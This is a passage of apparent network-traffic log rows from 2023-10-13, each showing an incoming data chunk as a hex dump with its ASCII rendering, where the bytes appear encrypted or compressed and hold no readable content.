Data Ascii: 1hKn`(]I4m7kKn0h<bipoq.O3=x3\dO`,s"+'Ai#ixsDBux2)CTz&C<!riS_I\|%:,.k#DG),(y\1m9\|1@q_\K2b9P{5me;BqC&bTseQPW%
2023-10-13 14:06:11 UTC	1468	IN	Data Raw: 12 37 f8 15 ec 95 0d e1 7a 64 fa 6b b8 10 45 ba df 91 60 c7 22 f2 1e d2 1b 3c ad 3c 12 e6 45 eb de dc ac 93 84 b5 50 e3 ad e1 3d c3 3f 90 d2 83 27 44 03 b8 11 1d 8e e9 70 ac 25 6a 95 03 57 11 b7 1a 88 46 df 42 f5 dd 03 c3 06 ab 2c 57 54 9e 7b df 61 d9 95 2b 40 d7 6d 45 a9 78 2f 69 02 ad 98 8a 8f 26 d8 8c b1 14 1e 7a 15 d7 b5 7d 02 01 8e 9e 55 37 7c 9e 09 93 66 2d d1 72 84 73 0f d6 3e d7 4f 54 94 20 f9 86 8b 9e 93 0f f0 84 3e d7 b4 ca 4c 1e 0f fe 7b 50 a3 ce 8c 98 55 da 22 de d9 d1 b2 a2 64 d6 91 09 b1 f3 84 d6 cd 3b 2e c2 88 31 70 8d d6 0c 0f 94 e2 10 9e 41 7c 90 92 17 e2 b7 56 23 c4 de 03 5e 7d 53 0b 01 10 be b3 f9 3a bc a2 51 32 c6 07 0a d8 ec d0 5d bc bb b6 21 7a 7d bb 91 12 77 22 b2 15 03 58 32 16 a3 f6 8b 4b 2e f0 54 2d 26 b3 87 44 25 92 f2 2c 36 83 Data Ascii: 7zdkE`"<<EP=?'Dp%jWFB,WT{a+@mEx/i&z}U7\|f-rs>OT >L{PU"d;.1pA\|V#^}S:Q2]!z}w"X2K.T-&D%,6
2023-10-13 14:06:11 UTC	1484	IN	Data Raw: b8 ab 46 6a 4b b7 b2 5b b0 77 ae 4e bd df 71 df d6 da 6f aa 6f 05 5b ab 20 74 34 db 6d 4f 16 6f d3 ac 3b 30 b5 b4 77 a0 fb 17 81 b7 f0 ad b5 22 b8 e5 33 5f 46 42 cc 41 4b 8d c9 f5 43 65 eb da f2 3b 09 9d df b1 31 b3 f4 c8 58 61 d8 fb ab 6a ec b0 3b 20 53 f9 a3 79 ee 27 b6 a8 3a 4c 16 f5 13 90 1a d6 9b a2 70 f6 6a 0d 5b 1b 5f 3c 75 96 f2 3b 89 3a e5 7d 23 31 6b 57 b1 06 2e 0b 61 dc 3e ec 79 0b a9 f1 ac 0c 9e 37 b1 38 e4 98 bd 59 a1 99 3f 99 78 bb f1 9d 14 42 fa 01 52 84 5b 78 d6 6a 65 d3 e1 f6 b1 82 ff ad 54 f1 0a 0d df 33 ef cb c8 36 12 d2 4f 6b 8c 17 7f 9f 86 3a b4 b6 6d 6e ef d2 c1 41 3e 88 cd 24 ec 1a 4c 6a a8 b0 ea aa b3 8d 5f 3b 91 b4 6a 02 78 fd 4c 35 b8 2a 48 6e ff dd a9 56 88 8c 3a 88 03 fa f3 17 82 f7 23 36 08 20 c6 6a 1c f0 f1 f1 4d 14 dd da 28 Data Ascii: FjK[wNqoo[ t4mOo;0w"3_FBAKCe;1Xaj; Sy':Lpj[_<u;:}#1kW.a>y78Y?xBR[xjeT36Ok:mnA>$Lj_;jxL5*HnV:#6 jM(
2023-10-13 14:06:11 UTC	1500	IN	Data Raw: 6f d5 b2 89 51 ca 4f 52 c4 91 29 67 f9 9f 39 69 33 dc 09 ff 54 ff 4b 04 7a 29 ab 4d 8e c8 78 51 50 d2 18 de 95 db 99 dc 5e 75 53 16 b0 b1 27 f8 09 d5 48 7d 8c bc d4 8f 80 1e 4d 74 b6 9f 75 46 aa 22 56 1b 0b 18 a2 c9 8d b1 e5 64 09 6e da 32 b7 4a 1e ca de 2f 8d 01 3b c0 5b 6c 28 cb df ed c2 fd 7f 16 d1 81 90 9b 27 66 4d 85 93 ff 06 b1 06 fe 70 0e d7 2e 70 37 eb 85 8f f3 60 46 5d c9 17 e2 f2 97 10 a9 c5 f8 fe 4a a7 c1 c0 b8 26 34 63 26 cc be 71 bc 4d 37 d8 09 b6 71 66 39 aa 9b a3 73 6f a7 e8 b6 50 76 a7 71 b1 e7 4f 7b 63 27 41 0e 38 33 74 ec 68 7b 5e 92 19 5a 12 3c e9 5a b4 31 7f eb b0 e3 5c a8 8e 7f ea 25 c5 07 fd c4 9d 7d 18 c5 9c b7 69 ba dc 73 6f b4 c3 75 57 9f 8d ce 04 88 7c 2f 3c 18 0a f3 4e d4 a0 41 1e 17 f3 ed cf e7 99 e2 83 d4 30 0f 85 8d ff 8f 5e Data Ascii: oQOR)g9i3TKz)MxQP^uS'H}MtuF"Vdn2J/;[l('fMp.p7`F]J&4c&qM7qf9soPvqO{c'A83th{^Z<Z1\%}isouW\|/<NA0^
2023-10-13 14:06:11 UTC	1516	IN	Data Raw: 78 f0 23 7b 6d de 24 87 e5 91 6d a2 77 3f 54 d5 16 f5 a2 c3 01 ec 0a ef 5a f4 68 60 6c ed 0a 54 22 56 7a 1d 8e a6 e2 c7 4f 6b 67 a0 87 e6 d0 bc 98 b6 b9 c1 bd a5 20 ae c4 56 67 9e 44 d0 37 05 6d c6 2d c9 33 07 d7 bf a5 bf 53 9e 45 2e fa f1 31 93 92 98 9e e7 88 16 c2 1f 81 12 ff 43 49 56 4c 09 d7 e1 f8 6a ac 40 d0 cd e0 96 30 da 75 91 55 97 fb 3a ef df c0 48 0e b7 4a c6 ff 00 12 61 d6 71 a6 8b 73 f6 1e d0 65 e2 23 4b 06 db 0e 46 c9 d4 37 eb 87 73 ca aa 38 ac 68 54 3d d9 60 1c 77 e0 2e 97 c8 0a 8e 85 54 e7 4d 94 32 a1 cc ce c8 41 b9 88 ff 53 6a bc 8a 94 0f 58 31 66 8d 4a 8e c1 75 27 bb 8c fc ed b6 ca 8e 79 91 13 f3 8f 1e 41 7f a3 e7 bc 15 d5 90 7d 6c 3d 93 1a c1 8b 49 ea ff d7 be 1a ff 66 a1 2e e4 45 cd 56 7b 05 d1 0f 90 d7 d7 3f 5a 9f 84 fb a4 69 a2 67 29 Data Ascii: x#{m$mw?TZh`lT"VzOkg VgD7m-3SE.1CIVLj@0uU:HJaqse#KF7s8hT=`w.TM2ASjX1fJu'yA}l=If.EV{?Zig)
2023-10-13 14:06:11 UTC	1532	IN	Data Raw: fc c7 12 7f 66 e3 0e 0b df 8e 5c f8 03 e4 b8 b9 a9 2d d9 63 0f 1e 23 3c 4a cc ba 26 29 80 59 41 11 71 8a 82 a6 20 51 32 a5 9f 0e 83 b7 ff eb a7 b7 b8 9b 6c 14 df cf 23 87 d3 70 2e 92 64 87 49 0f 32 91 66 82 bd 1e 2c 6f 9c 88 96 9c 35 22 1b 34 96 a2 39 8b 9a bf 1c 96 e8 c6 48 87 c2 e5 2a 55 fc 86 a9 49 2e fc 7e 90 dc c7 4d 07 8f 2d 59 4d 55 cc 89 37 7b 72 69 b7 48 f3 2a c7 54 da a8 d1 fe 78 65 66 72 9a 30 75 e9 52 5c a8 4c 00 6e 8f a6 67 8e f8 f2 a8 af 75 1b e6 03 43 c7 8c ba 3f ed 88 2e 79 4b e5 18 0d fb 50 92 be 72 0c ea 05 9b d3 f7 e9 b3 68 14 4e 02 f5 96 2c 72 a0 4a 88 41 21 26 04 09 be de 64 1c a7 02 70 18 aa 13 41 11 f9 37 53 3b 97 c8 14 6a 3c b6 f6 04 a1 b3 7e a2 ca 09 41 b3 d0 da 03 0f d4 58 b2 03 90 e6 af a8 7b 4a 69 7c 08 9d cb 6d cb 75 5e b5 72 Data Ascii: f\-c#<J&)YAq Q2l#p.dI2f,o5"49HUI.~M-YMU7{riHTxefr0uR\LnguC?.yKPrhN,rJA!&dpA7S;j<~AX{Ji\|mu^r
2023-10-13 14:06:11 UTC	1548	IN	Data Raw: 05 72 51 cb 15 ff 89 56 35 27 13 07 20 ff 1f aa 0e 78 87 be 64 14 8e 73 2c ba 2b af b4 24 3d 0f 4f 02 ed 5d 29 56 42 de b8 c1 5a bd 69 a4 c3 4e 46 c8 51 6b e4 c5 ff 1a 2d 10 04 76 ce b1 82 e8 3c 4b 2b ee d4 c7 31 37 9b 26 61 97 d7 ae a7 90 78 e3 78 5d 0f 76 d0 04 09 94 df a0 67 e6 e3 e9 c2 5e 80 15 fd 09 c0 28 81 d2 3a 73 b8 7a 20 e9 85 72 43 6b 96 a9 ce f9 af fd dd 20 59 1c c5 78 63 f3 cd 20 a4 6a a4 67 e8 fc d2 62 83 a1 bf a0 b4 76 67 3b c2 e9 09 63 69 d6 43 df 04 bd 2c ef 88 3e f9 f0 16 71 07 5f 1f 23 36 39 f0 a1 23 96 00 9f 2d 05 14 fb 3b 70 dc 9c d7 36 f7 1e f7 46 b5 33 15 9a 57 68 3e 9b 2d 0d dd 39 f6 82 76 4a 3d 2d 98 09 a7 6e 2d 54 fd 21 2b ca 82 2a 49 ee 63 d0 68 6b c2 c7 c3 53 8f 59 8a f0 09 a0 1b 2b 4f 29 d2 5c 78 0c 84 cb 9d 0c d9 be 24 cf 6e Data Ascii: rQV5' xds,+$=O])VBZiNFQk-v<K+17&axx]vg^(:sz rCk Yxc jgbvg;ciC,>q_#69#-;p6F3Wh>-9vJ=-n-T!+*IchkSY+O)\x$n
2023-10-13 14:06:11 UTC	1564	IN	Data Raw: e6 17 14 b0 82 df bd 51 e4 d6 d4 34 40 11 6a 9f 24 92 da c0 9c 24 1a 19 0f c1 af 27 e0 1f dd 2e a0 95 92 b8 61 95 43 3b ee 35 8b 26 3b 2a e9 5f c0 9b e2 92 c8 97 4e 73 16 76 4c 03 0b be 9a 13 21 57 55 2d 80 43 8b fc 89 47 cd 84 0a 29 25 f4 43 3a 1b b7 20 e5 04 a9 5c ab 83 d8 a7 f2 a2 38 2f 56 44 82 af 0c 50 22 09 ae 04 be f6 f2 92 04 ce 70 f1 d6 6f 29 81 d8 c0 9d 8e 05 b7 c0 19 a6 21 5b 29 f2 7e 91 35 42 ec b6 d4 74 f8 a4 4e ed 10 0d 9a 73 d2 3b 15 0a 81 2f 0e 48 ed 9d dd 5f 25 a0 36 f8 4c fe 0d 18 d3 98 bb b5 89 b9 ab c6 77 23 92 e9 ed 6e 13 04 33 b9 44 1c 01 67 e5 8e 73 8a 23 75 22 e0 7d ad 19 52 cd 4f 76 85 ae 0a ce bd c9 79 95 63 6e 25 fc 92 9e 09 ac c6 49 93 9d 75 e6 82 30 f5 42 05 ce d3 20 7a 2b 8b f6 d1 6b 47 12 5f 74 5d fc 7c c4 55 db e4 d5 86 50 Data Ascii: Q4@j$$'.aC;5&;*_NsvL!WU-CG)%C: \8/VDP"po)![)~5BtNs;/H_%6Lw#n3Dgs#u"}ROvycn%Iu0B z+kG_t]\|UP
2023-10-13 14:06:11 UTC	1580	IN	Data Raw: 72 60 e1 98 1d 29 63 64 90 80 f1 1c 03 65 dd 73 e6 0c 53 e9 4c d0 57 54 70 28 93 4c 90 c8 b1 23 ba c6 58 b6 86 04 6d cd 1f e5 1b 7b f5 09 cb f8 33 45 5e 62 14 68 ba b4 7c cd 46 32 00 bd 33 0e 08 34 3a 28 1b 57 09 b3 61 69 a7 02 13 60 6c 98 16 89 e5 cf 79 f7 23 71 91 6f 28 b2 51 d5 10 34 ac 1d 02 6c 25 fa f3 8b 79 b2 70 2f 29 c2 f9 4b 40 d9 1a fa 89 ae 37 87 61 63 6a 7e 64 70 7e ce ce 1f c6 d9 ce 2d 69 12 f0 0f c3 6c 89 60 d7 f8 b7 99 46 15 cf cf f5 70 33 0b a4 b0 10 cc 23 a4 55 e3 58 b5 03 09 b8 ed 2c 96 f5 36 5b 6a 12 0a 37 17 e0 10 e0 59 14 5d 9c 72 3e 36 9f be 8c 86 06 13 90 c3 b4 1e e7 f1 50 54 ab 42 11 c6 b3 75 37 ee f4 b1 4c 64 e7 f5 e1 9d 19 87 1d 71 b8 f4 47 5b c4 d7 3b 12 af 51 fa 6e 6b d2 b0 b5 9a bd 83 23 08 bf 4a b5 6c 08 90 7f 17 98 fa be 0f Data Ascii: r`)cdesSLWTp(L#Xm{3E^bh\|F234:(Wai`ly#qo(Q4l%yp/)K@7acj~dp~-il`Fp3#UX,6[j7Y]r>6PTBu7LdqG[;Qnk#Jl
2023-10-13 14:06:11 UTC	1596	IN	Data Raw: 46 5a c1 7c 51 66 54 58 61 5e 41 7c c2 78 0d dc 15 eb 98 7e 6d 03 73 7b 5d 9a 5c ee a1 f2 f3 02 ce de 6c 24 cf ad b8 39 74 65 59 77 47 49 88 ec 3d b2 a0 00 34 13 68 64 66 b2 1a ba f3 63 cc 7e f1 9e 42 fb 0c 3e 8c 72 04 76 41 10 9c f0 e2 f8 f9 f5 fc 0e f2 ff 0c 4b b6 ea 23 04 fb 05 36 cc 3c 44 69 71 a1 a4 eb 48 bd 09 40 e4 49 4c c0 bf b9 e1 35 d4 3c 35 20 a9 ab 7b e0 c2 9e 4a 2d 5f 8d e9 51 0c 3f ab 35 b5 40 d7 f4 ce 3a 98 07 b4 01 59 a2 fb 24 d6 af 5f e1 eb 1e 46 ff 7d 03 8c 9a 98 ec b8 a1 74 ba 80 0c 6a 6b fe 56 93 ec 0e d6 55 7b cd 90 2b eb 7a 27 a7 94 8d 06 43 04 8c a2 f8 26 34 b8 41 1c 4b 99 d2 d7 12 ba a9 40 9b 9b af ae 0a 05 d6 e6 d3 16 3b 05 39 cb 93 ef 2b b8 33 83 08 0c 98 17 a5 2f bc 8b 08 2d 27 d9 79 f0 98 15 c7 79 2c 77 e1 55 18 47 d8 ae ec 47 Data Ascii: FZ\|QfTXa^A\|x~ms{]\l$9teYwGI=4hdfc~B>rvAK#6<DiqH@IL5<5 {J-_Q?5@:Y$_F}tjkVU{+z'C&4AK@;9+3/-'yy,wUGG
2023-10-13 14:06:11 UTC	1612	IN	Data Raw: ab db 84 c3 5d a1 4c e0 49 4a 4f fb 35 41 6e fc f6 86 d5 46 38 0b 08 ff b2 1d c7 9c a2 30 e1 11 56 2d c8 04 f5 a3 0b 34 92 fe 6a d6 43 11 61 32 b4 5e 8b 92 50 04 dd c0 a5 b0 a5 40 90 70 44 2c 19 44 33 80 99 b6 e9 6e 60 52 f2 72 ae 3f a9 bc 07 22 15 c8 b6 25 af d6 58 1c d6 b7 5d c0 0e 99 05 78 4d 7f f8 5f 4b d1 ae 61 4d 49 0d 57 74 76 1f b1 75 fb 3c ca 93 d8 be d9 82 f2 69 ea 02 f8 b6 3f 1d 5b 83 f0 1f 94 77 8e 23 70 02 29 2d 35 a5 b3 96 2c b4 65 4e 4c dc e5 7d b4 27 52 5e 1e b8 bc 64 2e b4 86 6a a1 a0 50 e4 fa df 4d 2b b5 57 b7 57 fe 95 23 49 bf 9f 5a 39 65 06 2f a5 4d 29 3e a0 f8 fe 99 66 b4 6c ed 88 78 3c 5d 09 fd 0d 89 52 96 56 b1 e3 e7 6d 9e 7e cc e0 18 d3 5b 11 cd 6b 68 60 7d 71 c0 0a 89 1e 02 1f d4 10 0d 85 6a 16 33 ef 1a 6e 80 16 fb 9f 3e a0 bd a1 Data Ascii: ]LIJO5AnF80V-4jCa2^P@pD,D3n`Rr?"%X]xM_KaMIWtvu<i?[w#p)-5,eNL}'R^d.jPM+WW#IZ9e/M)>flx<]RVm~[kh`}qj3n>
2023-10-13 14:06:11 UTC	1628	IN	Data Raw: e5 82 e7 a3 6c 42 18 8e 01 94 56 10 36 25 93 23 dc 9f b6 e9 53 0d 9c 4d 63 d0 ca c9 1b 1d 03 8b fd 26 62 52 cb b1 7a 40 d8 5f 12 d6 80 be e1 e5 91 d4 2a 90 9e f4 f5 66 81 1b 37 99 8f be e6 9f 9c 1e d2 64 ef 1d f9 bc a0 03 a8 6c 1f af aa 1a d3 78 8a 2c c8 bc 05 24 40 07 8b 57 01 e1 a3 19 0d e5 e7 ab 35 c6 74 60 23 9c 84 ea cc 97 d3 c0 7c 5d 69 6f 08 b5 57 63 11 5e 86 bd e4 98 e0 40 cd 76 bc d9 8f 8d 07 dc 93 ba 7a 0a 0a 2a a0 47 a2 b4 51 53 0f eb 9e 33 bf 1e 62 a7 b5 68 06 da cc ce 79 21 26 0a bc 77 a9 7f 0d 19 5a ff fe b0 86 29 2d 16 e4 80 e9 8d 74 95 7c 5a a6 83 84 31 6b b0 19 3d 47 1f 2d 14 2a 0e da f6 34 c9 4d 40 0d dc 6d 52 16 ba a6 5e 77 f9 f9 23 ef 60 09 ba 8c ad 95 29 57 b3 50 db 02 1c e0 08 45 fc 55 d3 c5 f8 82 02 e1 4e 8d 6e 11 06 bd 17 74 6b 2d Data Ascii: lBV6%#SMc&bRz@_f7dlx,$@W5t`#\|]ioWc^@vzGQS3bhy!&wZ)-t\|Z1k=G-*4M@mR^w#`)WPEUNntk-
2023-10-13 14:06:11 UTC	1644	IN	Data Raw: 96 59 55 51 a4 71 03 16 96 8a 4a bf 28 63 c4 a5 84 3e eb 18 3b e1 dd cc a4 8e f8 7d 4d e6 0c 2a 6b 81 7b 01 c3 5a a1 ff 6e b4 62 5e 89 69 c8 41 27 18 a7 8b 43 c9 71 e0 00 15 db 6f 6a b2 48 82 f3 8b 26 ec a3 4f 70 eb 6f 39 01 5e a3 61 a0 4b fb ba 83 c1 11 34 29 14 f2 3e bd 6d c8 ee 3f 02 6c a5 10 a2 78 83 fc b0 31 c7 ea 53 51 a1 ce 13 b8 64 26 6c 73 c7 0f e3 91 85 fb 52 40 3d b9 fa 34 b5 d1 41 34 a4 41 6b bf 20 70 41 5f f2 7b 67 fe c0 40 4a 8f 60 47 a8 51 bb b0 db e0 9d 62 c5 e6 65 9a b4 0f 89 10 e0 16 db 1b 31 a8 d1 74 b3 4e a8 d8 a9 c0 02 11 4d d6 3c 61 f6 88 c4 49 ee 6d c7 87 61 61 8d 4a 6e 90 c6 de eb 7e b5 b4 b5 b3 25 46 c9 5d e0 9f 4b 19 59 00 99 9d 91 af 2b 66 39 5a ee 5a 5a b3 59 34 1f 4b 69 10 b9 ba ae 86 53 f0 f1 c0 d9 28 bf dd 07 ea fb 42 48 38 Data Ascii: YUQqJ(c>;}M*k{Znb^iA'CqojH&Opo9^aK4)>m?lx1SQd&lsR@=4A4Ak pA_{g@J`GQbe1tNM<aImaaJn~%F]KY+f9ZZZY4KiS(BH8
2023-10-13 14:06:11 UTC	1660	IN	Data Raw: 6a 91 e0 05 80 f9 2b 47 8b 4d 3e 26 b0 07 28 42 05 41 dc d4 86 0d 0d 8e 1b 5c 1e e8 ed 1d f1 dc b1 45 0f c9 00 92 5b f6 b3 e6 a1 07 c4 ce f1 3d fa 90 75 6c 9e e0 37 85 15 49 2b 17 9a 91 db ff 84 de e9 cc 41 da 01 8a 4f ec 9f 95 b8 eb 37 22 52 17 28 7a 6d cc f1 57 51 37 4d fa eb 4a fd d8 89 21 51 78 9a 2b 3e 75 a3 12 38 7c 0d 6b f8 80 6c 14 29 fd 30 85 3f f1 bc a7 1b 0f 07 18 4a 3b a7 31 43 80 30 d2 6b 22 3a ca 7a 23 5d 2f 43 43 d6 96 97 1c 7f 84 9d 91 cc 9a 03 85 36 1f c6 a9 60 17 ad ea 53 e1 28 f5 db 9b 1b 7a d4 3d 80 69 25 38 0d 98 12 c2 83 60 59 6b 6f cc 5f 4f 0b 7a 30 91 36 fa 9a 2c 62 dd d8 3f 0a 4a 9e 3c 7b 49 bf a4 43 a7 f4 84 b7 f8 1c c7 bf 34 5e 6b fe a9 ea db fa b9 f6 20 8e 2a d0 96 78 b6 3f 85 a1 ec 27 fd c5 f9 1d 52 29 82 f9 28 90 8f c6 48 3d Data Ascii: j+GM>&(BA\E[=ul7I+AO7"R(zmWQ7MJ!Qx+>u8\|kl)0?J;1C0k":z#]/CC6`S(z=i%8`Yko_Oz06,b?J<{IC4^k *x?'R)(H=
2023-10-13 14:06:11 UTC	1676	IN	Data Raw: 37 b7 0a bd 45 f2 78 b3 53 8c a6 d0 4f d6 d5 f2 b5 c9 c9 56 eb c0 b2 e3 37 7a 93 76 0c 0b 14 1f 0b f8 27 d8 fe 25 69 58 21 86 cb b9 13 20 81 ed c4 ef c9 70 cb 50 92 a1 d1 aa 9b 05 e8 08 18 7b cd b1 f7 77 70 b8 0a 05 3c 13 5f ea 8f f5 08 23 c2 7e e8 14 05 98 e6 05 4e 28 ca 1e 43 c1 13 b6 01 c3 cd 92 01 a1 71 2e fe 12 f4 85 07 fb b0 cc f5 bd 97 7a dd 67 eb 76 90 57 97 c6 89 ff 32 62 c8 62 a1 1c 27 36 e5 6f db 4d d8 c8 f7 36 d0 4c 4c 8b 47 c8 bc 3c d1 7e 78 c1 6a d2 02 04 ac 20 3f 6a 37 f3 8a 78 db b9 94 0b 3b 84 b0 ba a5 57 6d 04 f4 75 b7 cf 4a e0 d9 62 2d 6f e1 00 c7 d7 6f 4c b8 48 7a b3 42 98 68 86 02 35 de 01 44 5c 08 ca 58 ae d6 99 56 c9 70 30 34 1b 07 3f 4a 4c 8c 9f 0b ca 1a d9 67 01 ef f2 7d 2f 40 75 a4 03 e8 05 db 94 18 8f 64 d1 13 89 e6 8f 25 d9 0a Data Ascii: 7ExSOV7zv'%iX! pP{wp<_#~N(Cq.zgvW2bb'6oM6LLG<~xj ?j7x;WmuJb-ooLHzBh5D\XVp04?JLg}/@ud%
2023-10-13 14:06:11 UTC	1692	IN	Data Raw: 34 e8 3c 43 d5 04 fa 3f 02 fc 4c 07 89 92 ba 3b e8 45 7a 89 ec e1 38 c6 91 36 67 16 cf 0e ac 83 3a 29 aa 8e 67 e3 8c 26 f6 a8 d5 1f 79 11 1b e4 b5 27 d2 fb 9c 32 18 81 5c 6d 0b c8 5d 15 1d bd ab bf 25 6c 70 68 64 77 50 60 60 f2 8e 7c d7 65 f3 f2 fe 99 1d 98 8f f4 17 5f e8 1f c7 0b 04 80 93 6b b4 42 d4 9f c1 ef 20 77 80 4a b1 50 87 89 7c e5 67 44 5b 74 22 37 b6 88 b2 2c 50 2c c5 45 12 db 08 c8 7a c8 e7 4a 2e c4 de 76 ac 7b 74 c2 1e f2 17 1a ec 86 90 3d 27 b6 76 bd a3 db e9 5a 6b 3a 2e 40 43 09 5d 4b a2 16 16 2f b7 f2 34 d2 ad 5c e6 12 22 ee 07 c9 18 72 54 79 ea da 62 9c c3 d1 62 6c a6 5c b8 5a 0b 06 f7 8f 26 03 31 45 2a 26 61 57 22 e9 41 98 f4 a0 75 4b 39 f5 3a d4 d8 2c 1c 23 36 20 32 04 f3 9c 22 fc 82 57 0f 59 99 bb 55 a2 2d 29 fb a0 59 a2 8f 62 b7 54 3f Data Ascii: 4<C?L;Ez86g:)g&y'2\m]%lphdwP``\|e_kB wJP\|gD[t"7,P,EzJ.v{t='vZk:.@C]K/4\"rTybbl\Z&1E*&aW"AuK9:,#6 2"WYU-)YbT?
2023-10-13 14:06:11 UTC	1708	IN	Data Raw: 3e 7f de e5 98 9d 7c 44 47 f7 35 3c 54 98 94 f3 66 56 ca 1e e9 a3 8c 03 7a af 88 c5 8d b6 b6 47 49 a5 79 c6 b0 a0 00 46 03 4c 7d 95 ce 2e bd 1a b4 d2 24 7c 70 8a 8a 1c 9d dc 43 03 c9 e5 c3 1d 1c 58 9c 45 c6 24 40 d9 ec 56 56 b8 4b e1 77 f3 71 82 e4 12 2f d1 b5 21 e4 aa 85 2f 2b 4e de d4 08 0f f3 91 34 ee 1d 0a 43 d8 51 8b 35 c8 5e 80 57 86 e1 7d 82 6b 0f 77 9e c2 b4 e1 7b 49 ca 2e d2 d6 90 ed a6 d3 5d b5 d2 63 6d 51 fa 82 93 f6 b8 45 a7 f6 0e d1 4b 32 f1 b8 81 e1 08 e5 ba 54 05 bc 9b 5f 67 e8 f3 52 69 56 e1 64 0a 7a 1d 22 f7 26 95 b0 31 36 13 75 da b7 29 8f 07 9f e5 05 5d 1e 13 ce f6 fd e8 4f 5e 87 48 d7 31 d8 c0 ae f6 ca d2 b9 29 7d 0c 0f 7d 19 65 b9 59 d4 c3 31 60 2d f1 26 ee 5c ae 47 13 7f c8 b4 cd 6b 62 54 77 c4 c7 73 23 25 62 cb 23 a8 02 32 c6 9d 9b Data Ascii: >\|DG5<TfVzGIyFL}.$\|pCXE$@VVKwq/!/+N4CQ5^W}kw{I.]cmQEK2T_gRiVdz"&16u)]O^H1)}}eY1`-&\GkbTws#%b#2
2023-10-13 14:06:11 UTC	1724	IN	Data Raw: 33 df 7e ca c8 ee 8c 78 5b 4d b8 c4 45 c6 38 d2 b4 b0 7f 79 79 20 c2 18 82 79 93 15 a9 3f fd ad 9c 10 01 81 77 55 c1 5b 7c 8a cb 91 ba 6c d8 6b 33 cb bb cd 8f 2d 7b e5 f2 2e 55 05 24 86 02 c8 62 4c 31 14 76 f1 5f 7b ec 00 b1 3e 28 4c 6c c6 65 df 03 d8 d4 2f 3f d9 e0 dc 53 ae 55 5d 99 0d 87 2f 50 0a 3b de 69 c1 3f 8b ec 46 72 a9 75 f8 1b 20 c6 73 15 83 01 f3 db f2 88 0e 5d af 42 21 70 dd 4b 28 6f e2 1e 85 64 c3 ff 08 f5 c1 72 7f 69 52 7a 9a 62 83 27 ec 47 57 3f 94 f9 60 6c 1e 91 ef 35 54 f3 ea 38 6a 8e 1b e2 27 b4 68 db fa a4 9a 43 17 e5 e1 6f 02 11 5e 0e e8 6d 00 33 31 3b d6 20 32 51 39 43 57 73 bb 57 8f 4c 7e 38 8a 03 ce 9a 98 ce bc ba c6 15 ca d8 98 c7 22 3b 8c ba 9d 49 ce 78 cc 48 bc ca ce 47 4f 80 99 71 ae a8 76 f9 9c 52 a7 cf df f9 09 b0 da 8b 12 2e Data Ascii: 3~x[ME8yy y?wU[\|lk3-{.U$bL1v_{>(Lle/?SU]/P;i?Fru s]B!pK(odriRzb'GW?`l5T8j'hCo^m31; 2Q9CWsWL~8";IxHGOqvR.
2023-10-13 14:06:11 UTC	1740	IN	Data Raw: 97 88 df ac e6 de 30 f5 7a 3a 58 84 b0 a9 1b 19 a8 f1 22 32 10 2c d9 cd 5b 17 a7 19 99 7f 09 dc 50 1b 8d c6 99 93 57 3e 3b c2 22 7d eb 24 68 1c ed 08 bb 19 32 17 cb c5 1a ac d1 24 2c c6 0a 62 b3 b1 22 84 d1 b1 8e de 92 89 24 a2 18 77 12 f7 7b b7 c0 1e 2c 41 dd 0e 4d c6 5c 59 f1 1b c2 d8 3e 87 bd ca 8e 77 91 8c 2d 86 51 fe 2c b1 37 11 da ae ed 03 53 0d e5 0f ec 4a 70 39 42 10 91 d3 e4 ff 62 82 50 fc 5f 3a b7 93 b5 b3 67 a6 24 a6 b7 70 ea 48 0b 5f 02 6e e6 8f 90 b7 7b 88 80 94 54 24 01 8b fb 57 b7 a9 24 cd a7 5f 7c 83 91 2d 2f 0a 14 7f db b5 09 84 40 9d 6a fc 1f 79 fc 43 60 ec c3 af c4 b7 1e b1 ab 2a 75 b2 5b 62 72 0e 0c 4e a8 1b 8b f9 19 ce a7 ac 5a a8 c9 fc ea 62 7d 06 c2 f9 37 52 59 dd 87 bf 35 e5 9b 86 5c 7a 8a 7c 4f fb 3d d5 79 be ae c9 88 66 e1 07 92 Data Ascii: 0z:X"2,[PW>;"}$h2$,b"$w{,AM\Y>w-Q,7SJp9BbP_:g$pH_n{T$W$_\|-/@jyC`*u[brNZb}7RY5\z\|O=yf
2023-10-13 14:06:11 UTC	1756	IN	Data Raw: fd 95 05 de d0 33 ad 97 f3 4a d9 dc ac 68 e5 f7 8e 56 60 4f 0d f3 0c ef 91 f1 a1 c6 06 a9 64 ea 95 13 c1 b1 3c 4c 46 49 56 56 07 7d 7b bb 40 02 5e a5 4c 43 ca a5 3a 8b 95 ef 9b 6c 28 14 84 9a 79 d8 7b 05 e6 e8 eb da 0b 13 21 2a 63 04 8a a4 0a 4e 21 69 bc db 65 c1 e0 b2 56 83 29 a0 98 74 4c 54 3e f6 a7 c9 bb 1f a0 53 f0 0f ef 9f 2b b7 5b 6c 49 49 f3 1c df 37 dc a0 a6 18 2e 3c a3 b5 73 b7 4d f7 ab 5c 72 ff a4 27 65 a3 27 76 96 3b 63 b1 16 6e c4 3d 5f 4d 8f cc 1e 53 cb bc e9 e4 be 08 69 3b 6b 76 8b 98 4a 89 6b ad 8e 47 44 91 b7 27 d1 4e 4b 41 f3 68 83 8d 09 6d 99 7b 65 1e 99 d9 6d 2d c9 c1 53 07 00 69 57 2d 06 6d 5a 6a 24 3e ac 06 56 2b 98 bc 7f 22 5f 8d 19 6c 14 39 17 dc 22 e7 f2 dd 5b d2 5d 2c 99 b7 41 52 97 f8 49 ea ed dc d1 35 2b 0e 3f 09 a9 a6 fa ed 89 Data Ascii: 3JhV`Od<LFIVV}{@^LC:l(y{!*cN!ieV)tLT>S+[lII7.<sM\r'e'v;cn=_MSi;kvJkGD'NKAhm{em-SiW-mZj$>V+"_l9"[],ARI5+?
2023-10-13 14:06:11 UTC	1772	IN	Data Raw: 57 4e 2a 91 1f de 66 ba 1b ea b6 cd d2 bc 56 f3 9e c4 37 63 b9 cb 12 d6 27 47 4d 07 75 9c 16 e1 48 98 2b 5a 85 da 6b 0f 67 82 63 cf 89 a6 f6 ff d1 7f 7c 2b 3c 7d fa 88 be 28 ca ee 30 03 17 3c d1 00 d3 1d 1c bf 0a 47 90 10 5a f4 64 ef 4f 12 0e 66 e0 8e c5 50 df 21 b3 fa 3d c6 e8 2b 3d 1c 8b 92 03 ed cd 63 99 29 e9 22 18 fd 9e e3 5c 2f a8 a8 2c 1a 4c 63 9a b1 be 89 64 fe 49 9c 8c 84 54 a0 fe 07 85 f9 e0 0a 80 67 bd 1f 8f 79 53 13 1b b0 62 e0 63 f4 c1 67 23 a5 07 72 ad 0c 0b b1 7c f0 8f f7 dc ff a7 ba 6e 19 b5 2a b3 94 6e cc e2 6b e5 2c 